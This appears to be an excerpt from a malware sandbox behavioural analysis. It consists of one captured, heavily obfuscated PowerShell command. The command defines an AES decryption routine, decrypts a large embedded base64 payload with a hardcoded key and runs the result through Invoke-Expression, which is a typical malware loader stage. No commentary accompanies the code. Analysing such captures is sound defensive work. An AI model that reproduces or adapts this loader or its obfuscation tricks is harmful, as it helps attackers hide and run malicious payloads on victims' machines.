Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53289677559390085198936330541601CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIfBvRZYArRiXxb9pLfOWJSzhLRPd5I7zACTsYJPbnDRxmpMjLudBMxIclsh5G1oAEB4NHw+gqZ73NYAtRuPEZbun7w27uHNUU/2UZk0vwixZZjYF8SBUg7cmFK0nSMgU1Iow3bYmuii7NK55sdrSb83T7TlGZY91+Moz0ZBIk/0eAU2wf8Py5IgxbPrmhkNHTpbZFW/Al0eMV2MWxPeHSmQgZ//aQ5gn4Og/LInIlaSIqzqvxWq5kou0WIQo/72zG6+7hFvlR6cDOFO2EYak1CZ8irRCX18qAZvDaSJk/li/7cM0YyGDGjetxHvddCjxoFrsIzOoFr80ro7ty8kqQMtvLfXWiRbyxHtkF3NxaNwlxDUG/Htly5mpzTXN98K6Fnob44pHV6WFmrTRzBeXFvRMXFrkrC3t4BnQoCxsRB6x1sycYX2BAgD4vDPPYxPb47dSqUAoFV4NMTMVwtucrwLJdlZlPd2EnjstlapgPGyqeDuq+TKGWTRY7Z1C3vRcmlGe+lnY3QnpSNHNLl/haCmRsH4gMWyr4W/C2zNKguYI0N/PuyhAYi7YLD4A/NHjUcCY9rhxCg197+PLu/OwLBOl0CXgp/Ts85zFpV7WYNvBVPdgWvIPMkzBwQ+49ILJWVxcCDdE6JmR5Fq9tx9CQCnQJHN8uHPYaUlZ0ReVI/npl7GN05N9Obi18FtHe8U5TJh3++s3GfoiYW9BhKgh39janXG8zoXy6iZOVv1CDPHimFt85ZaMs1Bo+CmL5lnsudxNiDoq44/2E5DtzNoWEzZ+OQLsOM9Zh7Lke8w81xDJOSxVmqDoOcMa4I6/NsXFAlOTeKkhDmJCHTUB/Ks2qy+xvWMe77WJAkO37XgYyBUTA46+w+NVfiXxSstunWVvAjPztuMG9ekqgyxG0tWnqnXcuN/TQwZP47Z83ALuTurZOTykuQEXA42lNWU8mibH2upcIACt8NoPw3r5fRNvJc322KLiLSEJOJDDwYQP3uPDW9ylYqnz9saWGUF7wyvlEIrk5vKGo+vuncoCtLyjSFU2NNWq/OUhm3YFstmHb00qRls8jshNFDeskT+9HrCwRd5P+6kLq2cCc1OCMU4SwDWZMZEi/L5oEW5wJXHXG/5VBwshKqSiAF1ojathm5reHGj8cBBQcmfmNAiBhE+cYjLiJ1HYdwmhWRlD9k2l7IrpPf72Zqiu2AJE1o7WKFUPAGFRCXzrDrRaHWxr27DK2NG8lOEVbh92cuVyNGBlhPQft0FbKGvaWYwCm9BS9uJ8iakplRHRpzvLdk5Vw06NR0Yrav4GBiDdk6DqZecDjAKZoBxoCZOav+ztJKIbgKzOMNv18CX9tBGDWY/69/2jI7bvSx+CwNi/hpj3s9iK+SwzIrpD+dFAIiQcmP3Wj4TFZaBEjn++UcwcO3C2sjME5q86SXNGxzQs3i74Hw5uxEiiJhjft+JA0nP2X91n118uUxgEZdNZYtfDuLLg3uLun/EmKv1DFelh7eFXGEr3moW6nDkt16Q8Vt70kfULUet/WDc5XMsIOU0QFo5WQP9BPNJm7vuhbMBlWp/x8tkFjKO9fCUtgZ3vYKrjvFe1RMsHOuSXcC8eZgwJNI3F0Gtx7Rc2jC2D+CDFPstFXOPDalI6g2hOKB0IzlYPk/GhbZmfoYqm2SfR4VcsG9fjYrUCGhbqag/5m5K5GGlkwdugJl/F/liXwGNmURs4EWFJe3UpAevGgVLpYHIc48Xsqfyu4AfxXZtVkyJXoIc1AzQvH1cvQJm9XokY4SbLS7N7PiDJXCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')